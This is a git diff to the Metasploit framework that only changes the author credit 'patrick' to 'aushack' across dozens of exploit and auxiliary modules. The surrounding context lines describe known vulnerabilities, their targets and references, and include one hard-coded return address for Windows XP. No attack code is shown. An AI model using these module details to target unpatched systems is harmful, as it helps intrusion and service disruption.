+++ b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb
@@ -29,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary
           [ 'EDB', '17388' ],
           [ 'BID', '48225' ],
         ],
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'DisclosureDate' => 'Jan 9 2009'
     )
diff --git a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb
index 4675bb60b2..ca7b23d680 100644
--- a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb
+++ b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb
@@ -23,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary
           [ 'BID', '31531' ],
           [ 'URL', 'http://www.trendmicro.com/ftp/documentation/readme/OSCE_7.3_Win_EN_CriticalPatch_B1372_Readme.txt' ],
         ],
-      'Author'      => [ 'Anshul Pandey <anshul999[at]gmail.com>', 'patrick' ],
+      'Author'      => [ 'Anshul Pandey <anshul999[at]gmail.com>', 'aushack' ],
       'License'     => MSF_LICENSE
     )
 
diff --git a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb
index a4ed39faa3..114408d08c 100644
--- a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb
+++ b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary
         be exploited with a valid username and password. The From address is
         the file owner.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/auxiliary/admin/smb/check_dir_file.rb b/modules/auxiliary/admin/smb/check_dir_file.rb
index 59c0c1705c..dc166d67d0 100644
--- a/modules/auxiliary/admin/smb/check_dir_file.rb
+++ b/modules/auxiliary/admin/smb/check_dir_file.rb
@@ -29,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary
       },
       'Author'      =>
         [
-          'patrick',
+          'aushack',
           'j0hn__f'
         ],
       'References'  =>
diff --git a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb
index b6464a6afe..e9fd575d6c 100644
--- a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb
+++ b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
         unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module
         tested successfully against a Cisco 1600 Router IOS v11.2(18)P.
       },
-      'Author' 		=> [ 'patrick' ],
+      'Author' 		=> [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/auxiliary/dos/http/3com_superstack_switch.rb b/modules/auxiliary/dos/http/3com_superstack_switch.rb
index c40f133e30..d67c7aba1d 100644
--- a/modules/auxiliary/dos/http/3com_superstack_switch.rb
+++ b/modules/auxiliary/dos/http/3com_superstack_switch.rb
@@ -18,11 +18,11 @@ class MetasploitModule < Msf::Auxiliary
         against a 3300SM firmware v2.66. Reported to affect versions
         prior to v2.72.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
-          # patrickw - I am not sure if these are correct, but the closest match!
+          # aushack - I am not sure if these are correct, but the closest match!
           [ 'OSVDB', '7246' ],
           [ 'CVE', '2004-2691' ],
           [ 'URL', 'http://support.3com.com/infodeli/tools/switches/dna1695-0aaa17.pdf' ],
diff --git a/modules/auxiliary/dos/http/dell_openmanage_post.rb b/modules/auxiliary/dos/http/dell_openmanage_post.rb
index 70b6bea12d..967ad612d6 100644
--- a/modules/auxiliary/dos/http/dell_openmanage_post.rb
+++ b/modules/auxiliary/dos/http/dell_openmanage_post.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
         This module will crash the web server, however it is likely exploitable
         under certain conditions.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb
index 2e244dd9c5..8fc13a0c06 100644
--- a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb
+++ b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
         string data. With physical access to the device and debugging,
         this module may be able to be used to execute arbitrary code remotely.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     => [
         [ 'BID', '35145' ],
diff --git a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb
index 6aad396325..d9d68bcb0e 100644
--- a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb
+++ b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
       (Remote Access Services). Kernel memory is overwritten resulting in a BSOD.
       Code execution may be possible however this module is only a DoS.
       },
-      'Author' 	=> [ 'patrick' ],
+      'Author' 	=> [ 'aushack' ],
       'License'       => MSF_LICENSE,
       'References'    =>
       [
diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb
index cc1583c8d3..7fc5008765 100644
--- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb
+++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
         parsing SMTP headers. Due to the prescan function, only 0x5c and 0x00
         bytes can be used, limiting the likelihood for arbitrary code execution.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'References'     =>
         [
           [ 'OSVDB', '2577' ],
diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb
index 4c258ee293..85d5dc9e55 100644
--- a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb
+++ b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
         when running, will overwrite the stack with our string and generate an
         exception. The FileZilla FTP Server itself will continue functioning.
       },
-      'Author' 		=> [ 'patrick' ],
+      'Author' 		=> [ 'aushack' ],
       'License'        	=> MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb
index 663fec8cbf..f39899757f 100644
--- a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb
+++ b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
         Server versions 0.9.21 and earlier. By sending a malformed PORT command
         then LIST command, the server attempts to write to a NULL pointer.
       },
-      'Author' 		=> [ 'patrick' ],
+      'Author' 		=> [ 'aushack' ],
       'License'        	=> MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb
index 8b8fe85c16..0cf696d5e2 100644
--- a/modules/auxiliary/gather/checkpoint_hostname.rb
+++ b/modules/auxiliary/gather/checkpoint_hostname.rb
@@ -21,11 +21,11 @@ class MetasploitModule < Msf::Auxiliary
         networks where the hostname reveals the physical location and rack number
         of the device, which may be unintentionally published to the world.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'DisclosureDate' => 'Dec 14 2011', # Looks like this module is first real reference
       'References'     =>
         [
-          # patrickw - None? Stumbled across, probably an old bug/feature but unsure.
+          # aushack - None? Stumbled across, probably an old bug/feature but unsure.
           [ 'URL', 'http://www.osisecurity.com.au/advisories/checkpoint-firewall-securemote-hostname-information-disclosure' ],
           [ 'URL', 'https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360' ]
         ]
diff --git a/modules/auxiliary/gather/citrix_published_applications.rb b/modules/auxiliary/gather/citrix_published_applications.rb
index cce142b7bb..6146c7eb4a 100644
--- a/modules/auxiliary/gather/citrix_published_applications.rb
+++ b/modules/auxiliary/gather/citrix_published_applications.rb
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
         This module attempts to query Citrix Metaframe ICA server to obtain
         a published list of applications.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'References'     =>
         [
           [ 'URL', 'http://www.securiteam.com/exploits/5CP0B1F80S.html' ],
diff --git a/modules/auxiliary/gather/citrix_published_bruteforce.rb b/modules/auxiliary/gather/citrix_published_bruteforce.rb
index c2afcd4012..d40f550b22 100644
--- a/modules/auxiliary/gather/citrix_published_bruteforce.rb
+++ b/modules/auxiliary/gather/citrix_published_bruteforce.rb
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
         This module attempts to brute force program names within the Citrix
         Metaframe ICA server.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'References'     =>
         [
           [ 'OSVDB', '50617' ],
diff --git a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb
index 59e07b41b2..14437759c5 100644
--- a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb
+++ b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb
@@ -26,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary
         control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module
         tested successfully against a Cisco 1600 Router IOS v11.3(11d).
       },
-      'Author'		=> [ 'patrick', 'hdm' ],
+      'Author'		=> [ 'aushack', 'hdm' ],
       'License'		=> MSF_LICENSE,
       'References'	=>
         [
diff --git a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb
index d84ea5fbd7..ca445829d1 100644
--- a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb
+++ b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary
         where WebDAV is enabled on the IIS6 server, and any protected folder
         requires either Basic, Digest or NTLM authentication.
       },
-      'Author' 		=> [ 'patrick' ],
+      'Author' 		=> [ 'aushack' ],
       'License'		=> MSF_LICENSE,
       'References'     =>
         [
@@ -154,7 +154,7 @@ class MetasploitModule < Msf::Auxiliary
             'ctype'		=> 'application/xml',
             'headers' 	=>
               {
-                #'Translate'	 => 'f', # Not required in PROPFIND, only GET - patrickw 20091518
+                #'Translate'	 => 'f', # Not required in PROPFIND, only GET - aushack 20091518
               },
             'data'		=> webdav_req + "\r\n\r\n",
           }, 20)
diff --git a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb
index 8aaad8f9ef..41b7e500ee 100644
--- a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb
+++ b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
         to be exploitable where WebDAV is enabled on the IIS6 server, and any
         protected folder requires either Basic, Digest or NTLM authentication.
       },
-      'Author' 		=> [ 'et', 'patrick' ],
+      'Author' 		=> [ 'et', 'aushack' ],
       'License'		=> MSF_LICENSE,
       'References'   =>
         [
@@ -83,7 +83,7 @@ class MetasploitModule < Msf::Auxiliary
           'ctype'		=> 'application/xml',
           'headers' 	=>
             {
-              #'Translate'	 => 'f', # Not required in PROPFIND, only GET - patrickw 20091518
+              #'Translate'	 => 'f', # Not required in PROPFIND, only GET - aushack 20091518
             },
           'data'		=> webdav_req + "\r\n\r\n",
         }, 20)
diff --git a/modules/auxiliary/scanner/http/soap_xml.rb b/modules/auxiliary/scanner/http/soap_xml.rb
index 5e220ccb69..5d6f78714c 100644
--- a/modules/auxiliary/scanner/http/soap_xml.rb
+++ b/modules/auxiliary/scanner/http/soap_xml.rb
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
         This module attempts to brute force SOAP/XML requests to uncover
         hidden methods.
       ),
-      'Author'      => ['patrick'],
+      'Author'      => ['aushack'],
       'License'     => MSF_LICENSE))
 
     register_options(
diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb
index 67950be71b..806752145c 100644
--- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb
+++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb
@@ -28,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary
         ASSETBEGIN and ASSETEND values for greater results, or set VERBOSE.
         Information gathered may be used for later bruteforce attacks.
       },
-      'Author'         => [ 'Troy Rose <troy[at]osisecurity.com.au>', 'patrick' ],
+      'Author'         => [ 'Troy Rose <troy[at]osisecurity.com.au>', 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/auxiliary/scanner/varnish/varnish_cli_login.rb b/modules/auxiliary/scanner/varnish/varnish_cli_login.rb
index c5cf4dba78..c5c16614b7 100644
--- a/modules/auxiliary/scanner/varnish/varnish_cli_login.rb
+++ b/modules/auxiliary/scanner/varnish/varnish_cli_login.rb
@@ -27,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary
         ],
       'Author'         =>
         [
-          'patrick', #original module
+          'aushack', #original module
           'h00die <mike@shorebreaksecurity.com>' #updates and standardizations
         ],
       'License'        => MSF_LICENSE
diff --git a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb
index fbd10a7dbe..5cdcc5284a 100644
--- a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb
+++ b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
         module only supports command line payloads, as the httpd process kills
         the reverse/bind shell spawn after the HTTP 200 OK response.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb
index ba80ef54c8..928e5e0576 100644
--- a/modules/exploits/linux/http/piranha_passwd_exec.rb
+++ b/modules/exploits/linux/http/piranha_passwd_exec.rb
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
         /piranha/secure/passwd.php3 script. The package installs with a default
         user and password of piranha:q which was exploited in the wild.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/linux/imap/imap_uw_lsub.rb b/modules/exploits/linux/imap/imap_uw_lsub.rb
index 9a889be080..2a87b8a174 100644
--- a/modules/exploits/linux/imap/imap_uw_lsub.rb
+++ b/modules/exploits/linux/imap/imap_uw_lsub.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
         This vulnerability can only be exploited with a valid username
         and password.
       },
-      'Author'         => [ 'patrick', 'jduck' ],
+      'Author'         => [ 'aushack', 'jduck' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/linux/misc/gld_postfix.rb b/modules/exploits/linux/misc/gld_postfix.rb
index 32938f148d..39f9808be1 100644
--- a/modules/exploits/linux/misc/gld_postfix.rb
+++ b/modules/exploits/linux/misc/gld_postfix.rb
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
         GLD <= 1.4 greylisting daemon for Postfix. By sending an
         overly long string the stack can be overwritten.
       },
-      'Author'	=> [ 'patrick' ],
+      'Author'	=> [ 'aushack' ],
       'Arch'		=> ARCH_X86,
       'Platform'	=> 'linux',
       'References'	=>
diff --git a/modules/exploits/multi/misc/openview_omniback_exec.rb b/modules/exploits/multi/misc/openview_omniback_exec.rb
index ae77b0dae1..4d291640ff 100644
--- a/modules/exploits/multi/misc/openview_omniback_exec.rb
+++ b/modules/exploits/multi/misc/openview_omniback_exec.rb
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
         "unix/cmd/generic" payload and set CMD to your command. You can only
         pass a small amount of characters (4) to the command line on Windows.
       },
-      'Author'         => [ 'hdm', 'patrick' ],
+      'Author'         => [ 'hdm', 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
@@ -164,7 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if (target.name =~ /Windows/)
 
-      # patrickw
+      # aushack
       #
       # Tested during pen test against Windows 2003 server.
       # Windows Service details:
diff --git a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb
index b742744d91..89b2625eac 100644
--- a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb
+++ b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
         allows direct console access as root or SYSTEM from
         any source address.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/multi/ntp/ntp_overflow.rb b/modules/exploits/multi/ntp/ntp_overflow.rb
index 71b32d439e..be0cd9c9a7 100644
--- a/modules/exploits/multi/ntp/ntp_overflow.rb
+++ b/modules/exploits/multi/ntp/ntp_overflow.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
         request it is possible to execute code remotely. As the stack
         is corrupted, this module uses the Egghunter technique.
       },
-      'Author'         => 'patrick',
+      'Author'         => 'aushack',
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb
index 983320b10b..1714f4286b 100644
--- a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb
+++ b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         to enable remote command execution as the Apache user. By setting
         SkipEscalation to false, this module will attempt to setuid the bash shell.
       },
-      'Author' 	   => [ 'patrick' ],
+      'Author' 	   => [ 'aushack' ],
       'Arch'		   => [ ARCH_CMD ],
       'License'      => MSF_LICENSE,
       'References'   =>
diff --git a/modules/exploits/unix/misc/spamassassin_exec.rb b/modules/exploits/unix/misc/spamassassin_exec.rb
index 607df7bbd9..0d661dd5cf 100644
--- a/modules/exploits/unix/misc/spamassassin_exec.rb
+++ b/modules/exploits/unix/misc/spamassassin_exec.rb
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
         a malicious vpopmail User header, when running with vpopmail and paranoid
         modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb
index 37d60feb93..fd6bc72760 100644
--- a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb
+++ b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         When implemented with black hole mode enabled, it is possible to execute
         commands remotely due to an insecure popen call.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/unix/webapp/awstats_migrate_exec.rb b/modules/exploits/unix/webapp/awstats_migrate_exec.rb
index 8d63607452..9a4342c20f 100644
--- a/modules/exploits/unix/webapp/awstats_migrate_exec.rb
+++ b/modules/exploits/unix/webapp/awstats_migrate_exec.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
         present when AllowToUpdateStatsFromBrowser is enabled in the AWStats
         configuration file (non-default).
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/unix/webapp/awstatstotals_multisort.rb b/modules/exploits/unix/webapp/awstatstotals_multisort.rb
index c338aa0e9f..c60655c7c4 100644
--- a/modules/exploits/unix/webapp/awstatstotals_multisort.rb
+++ b/modules/exploits/unix/webapp/awstatstotals_multisort.rb
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits an arbitrary command execution vulnerability in the
           AWStats Totals PHP script. AWStats Totals version v1.0 - v1.14 are vulnerable.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/unix/webapp/dogfood_spell_exec.rb b/modules/exploits/unix/webapp/dogfood_spell_exec.rb
index 351606a391..4c9a2a2821 100644
--- a/modules/exploits/unix/webapp/dogfood_spell_exec.rb
+++ b/modules/exploits/unix/webapp/dogfood_spell_exec.rb
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Author'         =>
         [
           'LSO <lso[at]hushmail.com>', # Exploit module
-          'patrick', # Added check code, QA tested ok 20090303, there are no references (yet).
+          'aushack', # Added check code, QA tested ok 20090303, there are no references (yet).
         ],
       'License'        => BSD_LICENSE,
       'References'     =>
@@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
           [ 'URL', 'http://downloads.sourceforge.net/dogfood/' ],
         ],
       'Privileged'     => false,
-      'Platform'       => ['unix'], # patrickw - removed win, linux -> untested
+      'Platform'       => ['unix'], # aushack - removed win, linux -> untested
       'Arch'           => ARCH_CMD,
       'Payload'        =>
         {
diff --git a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb
index 8badd69c4e..6133669486 100644
--- a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb
+++ b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
         weakness with non-default server configuration, it is possible to exploit
         this vulnerability successfully.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb
index 9b2b446dfa..a52dafb445 100644
--- a/modules/exploits/unix/webapp/phpbb_highlight.rb
+++ b/modules/exploits/unix/webapp/phpbb_highlight.rb
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
         fixed in revision 5166. According to the "tags" within their tree,
         this corresponds to versions 2.0.4 through 2.0.15 (inclusive).
       },
-      'Author'         => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ],
+      'Author'         => [ 'valsmith[at]metasploit.com', 'hdm', 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb
index abd6877ae3..46d974a838 100644
--- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb
+++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
         vulnerability occurs within the blog comment functionality, allowing
         arbitrary files to be deleted.
       },
-      'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
+      'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/unix/webapp/wp_foxypress_upload.rb b/modules/exploits/unix/webapp/wp_foxypress_upload.rb
index a1c4e6bed5..4cd4937c6e 100644
--- a/modules/exploits/unix/webapp/wp_foxypress_upload.rb
+++ b/modules/exploits/unix/webapp/wp_foxypress_upload.rb
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Author'         =>
         [
           'Sammy FORGIT', # Vulnerability Discovery, PoC
-          'patrick' # Metasploit module
+          'aushack' # Metasploit module
         ],
       'License'        => MSF_LICENSE,
       'References'     =>
diff --git a/modules/exploits/windows/brightstor/discovery_tcp.rb b/modules/exploits/windows/brightstor/discovery_tcp.rb
index 925be50971..576c41d779 100644
--- a/modules/exploits/windows/brightstor/discovery_tcp.rb
+++ b/modules/exploits/windows/brightstor/discovery_tcp.rb
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
         This module is based on the 'cabrightstor_disco' exploit by
         HD Moore.
       },
-      'Author'         => [ 'hdm', 'patrick' ],
+      'Author'         => [ 'hdm', 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/brightstor/discovery_udp.rb b/modules/exploits/windows/brightstor/discovery_udp.rb
index 924c992925..d376aca463 100644
--- a/modules/exploits/windows/brightstor/discovery_udp.rb
+++ b/modules/exploits/windows/brightstor/discovery_udp.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
         request is sent to UDP port 41524, triggering a stack buffer
         overflow.
       },
-      'Author'         => [ 'hdm', 'patrick' ],
+      'Author'         => [ 'hdm', 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/brightstor/message_engine.rb b/modules/exploits/windows/brightstor/message_engine.rb
index 52190c0ef7..276210b36c 100644
--- a/modules/exploits/windows/brightstor/message_engine.rb
+++ b/modules/exploits/windows/brightstor/message_engine.rb
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
         11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
         the buffer and execute arbitrary code.
       },
-      'Author'         => [ 'MC', 'patrick' ],
+      'Author'         => [ 'MC', 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/brightstor/tape_engine.rb b/modules/exploits/windows/brightstor/tape_engine.rb
index 76ec8f5bf6..257710adf6 100644
--- a/modules/exploits/windows/brightstor/tape_engine.rb
+++ b/modules/exploits/windows/brightstor/tape_engine.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
         the buffer and execute arbitrary code.
       },
-      'Author'         => [ 'MC', 'patrick' ],
+      'Author'         => [ 'MC', 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/browser/barcode_ax49.rb b/modules/exploits/windows/browser/barcode_ax49.rb
index 723d824519..40760859a6 100644
--- a/modules/exploits/windows/browser/barcode_ax49.rb
+++ b/modules/exploits/windows/browser/barcode_ax49.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.
       },
       'License'        => MSF_LICENSE,
-      'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'patrick' ],
+      'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'aushack' ],
       'References'     =>
         [
           [ 'EDB', '4094' ],
@@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform'       => 'win',
       'Targets'        =>
         [
-          [ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll patrickw xpsp0
+          [ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll aushack xpsp0
         ],
       'DisclosureDate' => 'Jun 22 2007',
       'DefaultTarget'  => 0))
diff --git a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb
index 44bfe234e5..d991c1f2fb 100644
--- a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb
+++ b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform'       => 'win',
       'Targets'        =>
         [
-          # Tested ok patrickw 20090303
+          # Tested ok aushack 20090303
           [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ],
         ],
       'DisclosureDate' => 'Jun 6 2007',
diff --git a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb
index 9792488ea9..8dad48f088 100644
--- a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb
+++ b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
         is overwritten.
       },
       'License'        => MSF_LICENSE,
-      'Author'         => 'patrick',
+      'Author'         => 'aushack',
       'References'     =>
         [
           [ 'CVE', '2006-2086' ],
